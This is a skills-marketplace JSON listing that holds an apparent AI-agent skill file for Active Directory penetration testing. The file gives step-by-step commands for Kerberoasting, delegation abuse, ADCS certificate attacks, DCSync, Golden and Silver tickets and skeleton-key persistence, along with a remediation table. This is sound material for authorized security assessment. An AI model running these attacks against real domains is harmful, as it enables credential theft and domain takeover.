[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M6EVM8D34FTHZCWHPP0496FH":3,"skill-same:01M6EVM8D34FTHZCWHPP0496FH":127},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":23,"publishedAt":44,"linkOnly":45,"markdownContent":46,"markdownBody":47,"frontMatter":48,"refName":70,"commitSha":71,"skillDirectory":72,"forksCount":14,"repositoryHtmlUrl":73,"repositoryHomepageUrl":74,"ownerHtmlUrl":75,"ownerBlogUrl":6,"ownerDescription":76,"updatedAt":77,"install":78,"resources":91},"01M6EVM8D34FTHZCWHPP0496FH","performing-active-directory-penetration-test",null,"Conduct a focused Active Directory penetration test to enumerate domain objects, discover attack paths with BloodHound, exploit Kerberos weaknesses, escalate privileges via ADCS\u002FDCSync, and demonstrate domain compromise.","henriquescastilho\u002Fmy-claude","henriquescastilho","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F153296945?v=4","01M6ESH7EXPXTH9CVQ4K16SRG8","Henrique Scheer","01M6ESH7JHEK2PTNNH4HEH787Z",0,"Apache-2.0","https:\u002F\u002Fgithub.com\u002Fhenriquescastilho\u002Fmy-claude\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Fperforming-active-directory-penetration-test\u002FSKILL.md",[18],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000008","测试与质量","SCENARIO","使用场景",[24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43],"directory","penetration","active","performing active directory penetration test","test","escalation","dcsync","Impacket","bloodhound","t1078","domain-compromise","adcs","exploit","objects","domain","cybersecurity","discover","de","paths","testing","2026-11-10 10:12:30",false,"---\nname: performing-active-directory-penetration-test\ndescription: Conduct a focused Active Directory penetration test to enumerate domain\n  objects, discover attack paths with BloodHound, exploit Kerberos weaknesses, escalate\n  privileges via ADCS\u002FDCSync, and demonstrate domain compromise.\ndomain: cybersecurity\nsubdomain: penetration-testing\ntags:\n- active-directory\n- BloodHound\n- Kerberoasting\n- Impacket\n- DCSync\n- ADCS\n- domain-compromise\n- privilege-escalation\nversion: '1.0'\nauthor: mahipal\nlicense: Apache-2.0\nnist_csf:\n- ID.RA-01\n- ID.RA-06\n- GV.OV-02\n- DE.AE-07\nmitre_attack:\n- T1595\n- T1190\n- T1059\n- T1078\n- T1068\n---\n\n# Performing Active Directory Penetration Test\n\n## Overview\n\nActive Directory (AD) penetration testing targets the central identity and access management system used by over 95% of Fortune 500 companies. The test identifies misconfigurations, weak credentials, dangerous delegation settings, vulnerable certificate templates, and attack paths that enable an attacker to escalate from a standard domain user to Domain Admin or Enterprise Admin.\n\n\n## When to Use\n\n- When conducting security assessments that involve performing active directory penetration test\n- When following incident response procedures for related security events\n- When performing scheduled security testing or auditing activities\n- When validating security controls through hands-on testing\n\n## Prerequisites\n\n- Standard domain user credentials (minimum starting point)\n- Network access to domain controllers (LDAP\u002F389, Kerberos\u002F88, SMB\u002F445, DNS\u002F53)\n- Tools: BloodHound, Impacket, Certipy, Rubeus, NetExec, Mimikatz\n- Kali Linux or Windows attack machine with domain access\n\n## Phase 1 — AD Enumeration\n\n### Domain Information Gathering\n\n```bash\n# Basic domain enumeration\nnetexec smb 10.0.0.5 -u 'testuser' -p 'Password123' -d corp.local --groups\nnetexec smb 10.0.0.5 -u 'testuser' -p 'Password123' -d corp.local --users\n\n# LDAP enumeration — domain controllers\nldapsearch -x -H ldap:\u002F\u002F10.0.0.5 -D \"testuser@corp.local\" -w \"Password123\" \\\n  -b \"OU=Domain Controllers,DC=corp,DC=local\" \"(objectClass=computer)\" dNSHostName\n\n# Enumerate trust relationships\nnetexec smb 10.0.0.5 -u 'testuser' -p 'Password123' --trusts\n\n# Enumerate domain password policy\nnetexec smb 10.0.0.5 -u 'testuser' -p 'Password123' --pass-pol\n\n# Enumerate Group Policy Objects\nnetexec smb 10.0.0.5 -u 'testuser' -p 'Password123' --gpp-passwords\n\n# Find computers with unconstrained delegation\nldapsearch -x -H ldap:\u002F\u002F10.0.0.5 -D \"testuser@corp.local\" -w \"Password123\" \\\n  -b \"DC=corp,DC=local\" \"(&(objectCategory=computer)(userAccountControl:1.2.840.113556.1.4.803:=524288))\" \\\n  dNSHostName\n\n# Find users with constrained delegation\nldapsearch -x -H ldap:\u002F\u002F10.0.0.5 -D \"testuser@corp.local\" -w \"Password123\" \\\n  -b \"DC=corp,DC=local\" \"(&(objectCategory=user)(msds-allowedtodelegateto=*))\" \\\n  sAMAccountName msds-allowedtodelegateto\n\n# Enumerate LAPS\nnetexec ldap 10.0.0.5 -u 'testuser' -p 'Password123' -d corp.local -M laps\n```\n\n### BloodHound Attack Path Analysis\n\n```bash\n# Collect all BloodHound data\nbloodhound-python -u 'testuser' -p 'Password123' -d corp.local \\\n  -ns 10.0.0.5 -c all --zip\n\n# Alternative: SharpHound from Windows\n.\\SharpHound.exe -c All --zipfilename bloodhound_data.zip\n\n# Start BloodHound\nsudo neo4j start\nbloodhound --no-sandbox\n\n# Key Cypher queries in BloodHound:\n# - Shortest path to Domain Admin\n# - Find Kerberoastable users\n# - Find AS-REP Roastable users\n# - Find users with DCSync rights\n# - Find shortest path from owned principals\n# - Find computers where Domain Users are local admin\n```\n\n### Service Account Discovery\n\n```bash\n# Find service accounts with SPNs (Kerberoastable)\nimpacket-GetUserSPNs 'corp.local\u002Ftestuser:Password123' -dc-ip 10.0.0.5\n\n# Find accounts without Kerberos pre-authentication\nimpacket-GetNPUsers 'corp.local\u002F' -usersfile domain_users.txt \\\n  -dc-ip 10.0.0.5 -format hashcat\n\n# Find managed service accounts\nldapsearch -x -H ldap:\u002F\u002F10.0.0.5 -D \"testuser@corp.local\" -w \"Password123\" \\\n  -b \"DC=corp,DC=local\" \"(objectClass=msDS-GroupManagedServiceAccount)\" \\\n  sAMAccountName msDS-GroupMSAMembership\n```\n\n## Phase 2 — Kerberos Attacks\n\n### Kerberoasting\n\n```bash\n# Extract TGS tickets for service accounts\nimpacket-GetUserSPNs 'corp.local\u002Ftestuser:Password123' -dc-ip 10.0.0.5 \\\n  -outputfile kerberoast.txt -request\n\n# Crack with Hashcat (mode 13100 for Kerberos 5 TGS-REP etype 23)\nhashcat -m 13100 kerberoast.txt \u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt \\\n  -r \u002Fusr\u002Fshare\u002Fhashcat\u002Frules\u002Fbest64.rule --force\n\n# Targeted Kerberoasting with Rubeus (Windows)\n.\\Rubeus.exe kerberoast \u002Fuser:svc_sql \u002Foutfile:svc_sql_tgs.txt\n```\n\n### AS-REP Roasting\n\n```bash\n# Target accounts without pre-authentication\nimpacket-GetNPUsers 'corp.local\u002F' -usersfile users.txt -dc-ip 10.0.0.5 \\\n  -outputfile asrep.txt -format hashcat\n\n# Crack AS-REP hashes (mode 18200)\nhashcat -m 18200 asrep.txt \u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt\n```\n\n### Kerberos Delegation Attacks\n\n```bash\n# Unconstrained delegation — extract TGTs from memory\n# If you compromise a host with unconstrained delegation:\n.\\Rubeus.exe monitor \u002Finterval:5 \u002Fnowrap\n# Force authentication from DC using PrinterBug\u002FSpoolSample\n.\\SpoolSample.exe DC01.corp.local YOURHOST.corp.local\n.\\Rubeus.exe ptt \u002Fticket:\u003Cbase64_ticket>\n\n# Constrained delegation — S4U abuse\nimpacket-getST 'corp.local\u002Fsvc_web:WebPass123' -spn 'CIFS\u002Ffileserver.corp.local' \\\n  -dc-ip 10.0.0.5 -impersonate administrator\nexport KRB5CCNAME=administrator.ccache\nimpacket-psexec 'corp.local\u002Fadministrator@fileserver.corp.local' -k -no-pass\n\n# Resource-Based Constrained Delegation (RBCD)\nimpacket-addcomputer 'corp.local\u002Ftestuser:Password123' -computer-name 'EVIL$' \\\n  -computer-pass 'EvilPass123' -dc-ip 10.0.0.5\npython3 rbcd.py -delegate-to 'TARGET$' -delegate-from 'EVIL$' \\\n  -dc-ip 10.0.0.5 'corp.local\u002Ftestuser:Password123'\nimpacket-getST 'corp.local\u002FEVIL$:EvilPass123' -spn 'CIFS\u002Ftarget.corp.local' \\\n  -impersonate administrator -dc-ip 10.0.0.5\n```\n\n## Phase 3 — ADCS (Active Directory Certificate Services) Attacks\n\n```bash\n# Enumerate ADCS with Certipy\ncertipy find -u 'testuser@corp.local' -p 'Password123' -dc-ip 10.0.0.5 \\\n  -vulnerable -stdout\n\n# ESC1 — Vulnerable certificate template (enrollee can specify SAN)\ncertipy req -u 'testuser@corp.local' -p 'Password123' \\\n  -target ca.corp.local -ca CORP-CA \\\n  -template VulnerableWebServer -upn administrator@corp.local\n\n# Authenticate with the certificate\ncertipy auth -pfx administrator.pfx -dc-ip 10.0.0.5\n\n# ESC4 — Template ACL misconfiguration\n# Modify template to enable ESC1 conditions, then exploit as above\n\n# ESC6 — EDITF_ATTRIBUTESUBJECTALTNAME2 flag on CA\ncertipy req -u 'testuser@corp.local' -p 'Password123' \\\n  -target ca.corp.local -ca CORP-CA \\\n  -template User -upn administrator@corp.local\n\n# ESC8 — NTLM relay to HTTP enrollment endpoint\ncertipy relay -target 'http:\u002F\u002Fca.corp.local\u002Fcertsrv\u002Fcertfnsh.asp' \\\n  -template DomainController\n```\n\n## Phase 4 — Domain Privilege Escalation\n\n### DCSync Attack\n\n```bash\n# DCSync — extract all domain hashes (requires replication rights)\nimpacket-secretsdump 'corp.local\u002Fdomainadmin:DAPass@10.0.0.5' -just-dc\n\n# DCSync specific user\nimpacket-secretsdump 'corp.local\u002Fdomainadmin:DAPass@10.0.0.5' \\\n  -just-dc-user krbtgt\n\n# With Mimikatz (Windows)\nmimikatz# lsadump::dcsync \u002Fdomain:corp.local \u002Fuser:krbtgt\n```\n\n### Golden Ticket\n\n```bash\n# Create Golden Ticket (requires krbtgt hash and domain SID)\nimpacket-ticketer -nthash \u003Ckrbtgt_nthash> -domain-sid S-1-5-21-... \\\n  -domain corp.local administrator\nexport KRB5CCNAME=administrator.ccache\nimpacket-psexec 'corp.local\u002Fadministrator@dc01.corp.local' -k -no-pass\n\n# With Mimikatz\nmimikatz# kerberos::golden \u002Fuser:administrator \u002Fdomain:corp.local \\\n  \u002Fsid:S-1-5-21-... \u002Fkrbtgt:\u003Chash> \u002Fptt\n```\n\n### Silver Ticket\n\n```bash\n# Create Silver Ticket for specific service\nimpacket-ticketer -nthash \u003Cservice_nthash> -domain-sid S-1-5-21-... \\\n  -domain corp.local -spn MSSQL\u002Fsqlserver.corp.local administrator\n\nexport KRB5CCNAME=administrator.ccache\nimpacket-mssqlclient 'corp.local\u002Fadministrator@sqlserver.corp.local' -k -no-pass\n```\n\n## Phase 5 — Persistence Demonstration\n\n```bash\n# Skeleton Key (inject into LSASS — authorized testing only)\nmimikatz# privilege::debug\nmimikatz# misc::skeleton\n# Now any user can authenticate with \"mimikatz\" as password\n\n# AdminSDHolder persistence\n# Add controlled user to AdminSDHolder ACL\n# SDProp process propagates ACL to all protected groups every 60 minutes\n\n# SID History injection\n# Inject Domain Admin SID into low-privilege user's SID history\n\n# Document all persistence mechanisms and clean up after testing\n```\n\n## Findings and Remediation\n\n| Finding | CVSS | Remediation |\n|---------|------|-------------|\n| Kerberoastable accounts with weak passwords | 7.5 | Use gMSA, enforce 25+ char passwords for service accounts |\n| Unconstrained delegation on servers | 8.1 | Remove unconstrained delegation, use constrained or RBCD |\n| Vulnerable ADCS templates (ESC1-ESC8) | 9.8 | Audit templates, remove dangerous permissions, require approval |\n| DCSync permissions on non-DA accounts | 9.8 | Audit replication rights, implement tiered admin model |\n| LLMNR\u002FNBT-NS enabled | 8.1 | Disable via GPO |\n| No LAPS deployed | 7.2 | Deploy Windows LAPS for local admin management |\n| Weak domain password policy | 6.5 | Enforce 14+ chars, implement fine-grained password policies |\n\n## References\n\n- BloodHound: https:\u002F\u002Fgithub.com\u002FBloodHoundAD\u002FBloodHound\n- Impacket: https:\u002F\u002Fgithub.com\u002Ffortra\u002Fimpacket\n- Certipy: https:\u002F\u002Fgithub.com\u002Fly4k\u002FCertipy\n- HackTricks AD: https:\u002F\u002Fbook.hacktricks.wiki\u002Fen\u002Fwindows-hardening\u002Factive-directory-methodology\u002Findex.html\n- SpecterOps AD Security: https:\u002F\u002Fspecterops.io\u002Fblog\u002F\n- MITRE ATT&CK: https:\u002F\u002Fattack.mitre.org\u002F\n","# Performing Active Directory Penetration Test\n\n## Overview\n\nActive Directory (AD) penetration testing targets the central identity and access management system used by over 95% of Fortune 500 companies. The test identifies misconfigurations, weak credentials, dangerous delegation settings, vulnerable certificate templates, and attack paths that enable an attacker to escalate from a standard domain user to Domain Admin or Enterprise Admin.\n\n\n## When to Use\n\n- When conducting security assessments that involve performing active directory penetration test\n- When following incident response procedures for related security events\n- When performing scheduled security testing or auditing activities\n- When validating security controls through hands-on testing\n\n## Prerequisites\n\n- Standard domain user credentials (minimum starting point)\n- Network access to domain controllers (LDAP\u002F389, Kerberos\u002F88, SMB\u002F445, DNS\u002F53)\n- Tools: BloodHound, Impacket, Certipy, Rubeus, NetExec, Mimikatz\n- Kali Linux or Windows attack machine with domain access\n\n## Phase 1 — AD Enumeration\n\n### Domain Information Gathering\n\n```bash\n# Basic domain enumeration\nnetexec smb 10.0.0.5 -u 'testuser' -p 'Password123' -d corp.local --groups\nnetexec smb 10.0.0.5 -u 'testuser' -p 'Password123' -d corp.local --users\n\n# LDAP enumeration — domain controllers\nldapsearch -x -H ldap:\u002F\u002F10.0.0.5 -D \"testuser@corp.local\" -w \"Password123\" \\\n  -b \"OU=Domain Controllers,DC=corp,DC=local\" \"(objectClass=computer)\" dNSHostName\n\n# Enumerate trust relationships\nnetexec smb 10.0.0.5 -u 'testuser' -p 'Password123' --trusts\n\n# Enumerate domain password policy\nnetexec smb 10.0.0.5 -u 'testuser' -p 'Password123' --pass-pol\n\n# Enumerate Group Policy Objects\nnetexec smb 10.0.0.5 -u 'testuser' -p 'Password123' --gpp-passwords\n\n# Find computers with unconstrained delegation\nldapsearch -x -H ldap:\u002F\u002F10.0.0.5 -D \"testuser@corp.local\" -w \"Password123\" \\\n  -b \"DC=corp,DC=local\" \"(&(objectCategory=computer)(userAccountControl:1.2.840.113556.1.4.803:=524288))\" \\\n  dNSHostName\n\n# Find users with constrained delegation\nldapsearch -x -H ldap:\u002F\u002F10.0.0.5 -D \"testuser@corp.local\" -w \"Password123\" \\\n  -b \"DC=corp,DC=local\" \"(&(objectCategory=user)(msds-allowedtodelegateto=*))\" \\\n  sAMAccountName msds-allowedtodelegateto\n\n# Enumerate LAPS\nnetexec ldap 10.0.0.5 -u 'testuser' -p 'Password123' -d corp.local -M laps\n```\n\n### BloodHound Attack Path Analysis\n\n```bash\n# Collect all BloodHound data\nbloodhound-python -u 'testuser' -p 'Password123' -d corp.local \\\n  -ns 10.0.0.5 -c all --zip\n\n# Alternative: SharpHound from Windows\n.\\SharpHound.exe -c All --zipfilename bloodhound_data.zip\n\n# Start BloodHound\nsudo neo4j start\nbloodhound --no-sandbox\n\n# Key Cypher queries in BloodHound:\n# - Shortest path to Domain Admin\n# - Find Kerberoastable users\n# - Find AS-REP Roastable users\n# - Find users with DCSync rights\n# - Find shortest path from owned principals\n# - Find computers where Domain Users are local admin\n```\n\n### Service Account Discovery\n\n```bash\n# Find service accounts with SPNs (Kerberoastable)\nimpacket-GetUserSPNs 'corp.local\u002Ftestuser:Password123' -dc-ip 10.0.0.5\n\n# Find accounts without Kerberos pre-authentication\nimpacket-GetNPUsers 'corp.local\u002F' -usersfile domain_users.txt \\\n  -dc-ip 10.0.0.5 -format hashcat\n\n# Find managed service accounts\nldapsearch -x -H ldap:\u002F\u002F10.0.0.5 -D \"testuser@corp.local\" -w \"Password123\" \\\n  -b \"DC=corp,DC=local\" \"(objectClass=msDS-GroupManagedServiceAccount)\" \\\n  sAMAccountName msDS-GroupMSAMembership\n```\n\n## Phase 2 — Kerberos Attacks\n\n### Kerberoasting\n\n```bash\n# Extract TGS tickets for service accounts\nimpacket-GetUserSPNs 'corp.local\u002Ftestuser:Password123' -dc-ip 10.0.0.5 \\\n  -outputfile kerberoast.txt -request\n\n# Crack with Hashcat (mode 13100 for Kerberos 5 TGS-REP etype 23)\nhashcat -m 13100 kerberoast.txt \u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt \\\n  -r \u002Fusr\u002Fshare\u002Fhashcat\u002Frules\u002Fbest64.rule --force\n\n# Targeted Kerberoasting with Rubeus (Windows)\n.\\Rubeus.exe kerberoast \u002Fuser:svc_sql \u002Foutfile:svc_sql_tgs.txt\n```\n\n### AS-REP Roasting\n\n```bash\n# Target accounts without pre-authentication\nimpacket-GetNPUsers 'corp.local\u002F' -usersfile users.txt -dc-ip 10.0.0.5 \\\n  -outputfile asrep.txt -format hashcat\n\n# Crack AS-REP hashes (mode 18200)\nhashcat -m 18200 asrep.txt \u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt\n```\n\n### Kerberos Delegation Attacks\n\n```bash\n# Unconstrained delegation — extract TGTs from memory\n# If you compromise a host with unconstrained delegation:\n.\\Rubeus.exe monitor \u002Finterval:5 \u002Fnowrap\n# Force authentication from DC using PrinterBug\u002FSpoolSample\n.\\SpoolSample.exe DC01.corp.local YOURHOST.corp.local\n.\\Rubeus.exe ptt \u002Fticket:\u003Cbase64_ticket>\n\n# Constrained delegation — S4U abuse\nimpacket-getST 'corp.local\u002Fsvc_web:WebPass123' -spn 'CIFS\u002Ffileserver.corp.local' \\\n  -dc-ip 10.0.0.5 -impersonate administrator\nexport KRB5CCNAME=administrator.ccache\nimpacket-psexec 'corp.local\u002Fadministrator@fileserver.corp.local' -k -no-pass\n\n# Resource-Based Constrained Delegation (RBCD)\nimpacket-addcomputer 'corp.local\u002Ftestuser:Password123' -computer-name 'EVIL$' \\\n  -computer-pass 'EvilPass123' -dc-ip 10.0.0.5\npython3 rbcd.py -delegate-to 'TARGET$' -delegate-from 'EVIL$' \\\n  -dc-ip 10.0.0.5 'corp.local\u002Ftestuser:Password123'\nimpacket-getST 'corp.local\u002FEVIL$:EvilPass123' -spn 'CIFS\u002Ftarget.corp.local' \\\n  -impersonate administrator -dc-ip 10.0.0.5\n```\n\n## Phase 3 — ADCS (Active Directory Certificate Services) Attacks\n\n```bash\n# Enumerate ADCS with Certipy\ncertipy find -u 'testuser@corp.local' -p 'Password123' -dc-ip 10.0.0.5 \\\n  -vulnerable -stdout\n\n# ESC1 — Vulnerable certificate template (enrollee can specify SAN)\ncertipy req -u 'testuser@corp.local' -p 'Password123' \\\n  -target ca.corp.local -ca CORP-CA \\\n  -template VulnerableWebServer -upn administrator@corp.local\n\n# Authenticate with the certificate\ncertipy auth -pfx administrator.pfx -dc-ip 10.0.0.5\n\n# ESC4 — Template ACL misconfiguration\n# Modify template to enable ESC1 conditions, then exploit as above\n\n# ESC6 — EDITF_ATTRIBUTESUBJECTALTNAME2 flag on CA\ncertipy req -u 'testuser@corp.local' -p 'Password123' \\\n  -target ca.corp.local -ca CORP-CA \\\n  -template User -upn administrator@corp.local\n\n# ESC8 — NTLM relay to HTTP enrollment endpoint\ncertipy relay -target 'http:\u002F\u002Fca.corp.local\u002Fcertsrv\u002Fcertfnsh.asp' \\\n  -template DomainController\n```\n\n## Phase 4 — Domain Privilege Escalation\n\n### DCSync Attack\n\n```bash\n# DCSync — extract all domain hashes (requires replication rights)\nimpacket-secretsdump 'corp.local\u002Fdomainadmin:DAPass@10.0.0.5' -just-dc\n\n# DCSync specific user\nimpacket-secretsdump 'corp.local\u002Fdomainadmin:DAPass@10.0.0.5' \\\n  -just-dc-user krbtgt\n\n# With Mimikatz (Windows)\nmimikatz# lsadump::dcsync \u002Fdomain:corp.local \u002Fuser:krbtgt\n```\n\n### Golden Ticket\n\n```bash\n# Create Golden Ticket (requires krbtgt hash and domain SID)\nimpacket-ticketer -nthash \u003Ckrbtgt_nthash> -domain-sid S-1-5-21-... \\\n  -domain corp.local administrator\nexport KRB5CCNAME=administrator.ccache\nimpacket-psexec 'corp.local\u002Fadministrator@dc01.corp.local' -k -no-pass\n\n# With Mimikatz\nmimikatz# kerberos::golden \u002Fuser:administrator \u002Fdomain:corp.local \\\n  \u002Fsid:S-1-5-21-... \u002Fkrbtgt:\u003Chash> \u002Fptt\n```\n\n### Silver Ticket\n\n```bash\n# Create Silver Ticket for specific service\nimpacket-ticketer -nthash \u003Cservice_nthash> -domain-sid S-1-5-21-... \\\n  -domain corp.local -spn MSSQL\u002Fsqlserver.corp.local administrator\n\nexport KRB5CCNAME=administrator.ccache\nimpacket-mssqlclient 'corp.local\u002Fadministrator@sqlserver.corp.local' -k -no-pass\n```\n\n## Phase 5 — Persistence Demonstration\n\n```bash\n# Skeleton Key (inject into LSASS — authorized testing only)\nmimikatz# privilege::debug\nmimikatz# misc::skeleton\n# Now any user can authenticate with \"mimikatz\" as password\n\n# AdminSDHolder persistence\n# Add controlled user to AdminSDHolder ACL\n# SDProp process propagates ACL to all protected groups every 60 minutes\n\n# SID History injection\n# Inject Domain Admin SID into low-privilege user's SID history\n\n# Document all persistence mechanisms and clean up after testing\n```\n\n## Findings and Remediation\n\n| Finding | CVSS | Remediation |\n|---------|------|-------------|\n| Kerberoastable accounts with weak passwords | 7.5 | Use gMSA, enforce 25+ char passwords for service accounts |\n| Unconstrained delegation on servers | 8.1 | Remove unconstrained delegation, use constrained or RBCD |\n| Vulnerable ADCS templates (ESC1-ESC8) | 9.8 | Audit templates, remove dangerous permissions, require approval |\n| DCSync permissions on non-DA accounts | 9.8 | Audit replication rights, implement tiered admin model |\n| LLMNR\u002FNBT-NS enabled | 8.1 | Disable via GPO |\n| No LAPS deployed | 7.2 | Deploy Windows LAPS for local admin management |\n| Weak domain password policy | 6.5 | Enforce 14+ chars, implement fine-grained password policies |\n\n## References\n\n- BloodHound: https:\u002F\u002Fgithub.com\u002FBloodHoundAD\u002FBloodHound\n- Impacket: https:\u002F\u002Fgithub.com\u002Ffortra\u002Fimpacket\n- Certipy: https:\u002F\u002Fgithub.com\u002Fly4k\u002FCertipy\n- HackTricks AD: https:\u002F\u002Fbook.hacktricks.wiki\u002Fen\u002Fwindows-hardening\u002Factive-directory-methodology\u002Findex.html\n- SpecterOps AD Security: https:\u002F\u002Fspecterops.io\u002Fblog\u002F\n- MITRE ATT&CK: https:\u002F\u002Fattack.mitre.org\u002F\n",{"name":5,"tags":49,"author":56,"domain":39,"license":15,"version":57,"nist_csf":58,"subdomain":63,"description":7,"mitre_attack":64},[50,51,52,31,53,54,34,55],"active-directory","BloodHound","Kerberoasting","DCSync","ADCS","privilege-escalation","mahipal","1.0",[59,60,61,62],"ID.RA-01","ID.RA-06","GV.OV-02","DE.AE-07","penetration-testing",[65,66,67,68,69],"T1595","T1190","T1059","T1078","T1068","main","7925716f065257435fdb12e97f7e52842147d5ad",".claude\u002Fskills\u002Fperforming-active-directory-penetration-test","https:\u002F\u002Fgithub.com\u002Fhenriquescastilho\u002Fmy-claude","https:\u002F\u002Fclaude.com\u002Fclaude-code","https:\u002F\u002Fgithub.com\u002Fhenriquescastilho","Software · Applied AI · Quantitative Modeling · Building with Claude.","2026-06-10 12:24:46",{"source":8,"skillName":5,"commands":79,"prompt":89,"zipAvailable":90},[80,83,86],{"tool":81,"command":82},"npx","npx skills add henriquescastilho\u002Fmy-claude --skill performing-active-directory-penetration-test",{"tool":84,"command":85},"bunx","bunx skills add henriquescastilho\u002Fmy-claude --skill performing-active-directory-penetration-test",{"tool":87,"command":88},"pnpm","pnpm dlx skills add henriquescastilho\u002Fmy-claude --skill performing-active-directory-penetration-test","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Fhenriquescastilho\u002Fmy-claude\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Fperforming-active-directory-penetration-test\u002FSKILL.md",true,[92,98,103,109,113,117,123],{"path":93,"resourceType":94,"resourceTypeDesc":95,"sizeBytes":96,"sourceHtmlUrl":97},"assets\u002Ftemplate.md","ASSET","资产文件",1195,"https:\u002F\u002Fgithub.com\u002Fhenriquescastilho\u002Fmy-claude\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Fperforming-active-directory-penetration-test\u002Fassets\u002Ftemplate.md",{"path":99,"resourceType":99,"resourceTypeDesc":100,"sizeBytes":101,"sourceHtmlUrl":102},"LICENSE","许可证",11255,"https:\u002F\u002Fgithub.com\u002Fhenriquescastilho\u002Fmy-claude\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Fperforming-active-directory-penetration-test\u002FLICENSE",{"path":104,"resourceType":105,"resourceTypeDesc":106,"sizeBytes":107,"sourceHtmlUrl":108},"references\u002Fapi-reference.md","REFERENCE","参考文档",2314,"https:\u002F\u002Fgithub.com\u002Fhenriquescastilho\u002Fmy-claude\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Fperforming-active-directory-penetration-test\u002Freferences\u002Fapi-reference.md",{"path":110,"resourceType":105,"resourceTypeDesc":106,"sizeBytes":111,"sourceHtmlUrl":112},"references\u002Fstandards.md",1125,"https:\u002F\u002Fgithub.com\u002Fhenriquescastilho\u002Fmy-claude\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Fperforming-active-directory-penetration-test\u002Freferences\u002Fstandards.md",{"path":114,"resourceType":105,"resourceTypeDesc":106,"sizeBytes":115,"sourceHtmlUrl":116},"references\u002Fworkflows.md",1169,"https:\u002F\u002Fgithub.com\u002Fhenriquescastilho\u002Fmy-claude\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Fperforming-active-directory-penetration-test\u002Freferences\u002Fworkflows.md",{"path":118,"resourceType":119,"resourceTypeDesc":120,"sizeBytes":121,"sourceHtmlUrl":122},"scripts\u002Fagent.py","SCRIPT","脚本",7053,"https:\u002F\u002Fgithub.com\u002Fhenriquescastilho\u002Fmy-claude\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Fperforming-active-directory-penetration-test\u002Fscripts\u002Fagent.py",{"path":124,"resourceType":119,"resourceTypeDesc":120,"sizeBytes":125,"sourceHtmlUrl":126},"scripts\u002Fprocess.py",6938,"https:\u002F\u002Fgithub.com\u002Fhenriquescastilho\u002Fmy-claude\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Fperforming-active-directory-penetration-test\u002Fscripts\u002Fprocess.py",[128,169,178,187,209,237],{"skillNo":129,"name":130,"nameZh":6,"description":131,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":132,"licenseFileUrl":6,"sourceHtmlUrl":133,"categories":134,"keywords":149,"publishedAt":44},"01M6F0B6XPQ65AX2X0DWK8KT3E","markitdown","Convert files and office documents to Markdown. Supports PDF, DOCX, PPTX, XLSX, images (with OCR), audio (with transcription), HTML, CSV, JSON, XML, ZIP, YouTube URLs, EPubs and more.","MIT","https:\u002F\u002Fgithub.com\u002Fhenriquescastilho\u002Fmy-claude\u002Fblob\u002Fmain\u002F.codex\u002Fvendor_imports\u002Fclaude\u002Fmarketplaces\u002Fclaude-scientific-writer\u002Fskills\u002Fmarkitdown\u002FSKILL.md",[135,138,141,144],{"categoryNo":136,"categoryName":137,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000002","文档处理",{"categoryNo":139,"categoryName":140,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000003","演示文稿",{"categoryNo":142,"categoryName":143,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000004","电子表格",{"categoryNo":145,"categoryName":146,"taxonomyType":147,"taxonomyTypeDesc":148},"01JBSEEDCAT000000000000034","行政与办公人员","PROFESSION","适用职业",[130,150,151,152,153,154,155,156,157,158,159,160,161,162,163,164,165,166,167,168],"docx","PDF","pptx","xlsx","documents","csv","ocr","Audio","Bash","markdown","convert","read","write","edit","html","images","files","youtube","with",{"skillNo":170,"name":130,"nameZh":6,"description":131,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":132,"licenseFileUrl":6,"sourceHtmlUrl":171,"categories":172,"keywords":177,"publishedAt":44},"01M6F06SBHR9F0SDWE282Y8075","https:\u002F\u002Fgithub.com\u002Fhenriquescastilho\u002Fmy-claude\u002Fblob\u002Fmain\u002F.codex\u002Fvendor_imports\u002Fclaude\u002Fmarketplaces\u002Fclaude-scientific-writer\u002Fscientific_writer\u002F.claude\u002Fskills\u002Fmarkitdown\u002FSKILL.md",[173,174,175,176],{"categoryNo":136,"categoryName":137,"taxonomyType":21,"taxonomyTypeDesc":22},{"categoryNo":139,"categoryName":140,"taxonomyType":21,"taxonomyTypeDesc":22},{"categoryNo":142,"categoryName":143,"taxonomyType":21,"taxonomyTypeDesc":22},{"categoryNo":145,"categoryName":146,"taxonomyType":147,"taxonomyTypeDesc":148},[130,150,151,152,153,154,155,156,157,158,159,160,161,162,163,164,165,166,167,168],{"skillNo":179,"name":130,"nameZh":6,"description":131,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":132,"licenseFileUrl":6,"sourceHtmlUrl":180,"categories":181,"keywords":186,"publishedA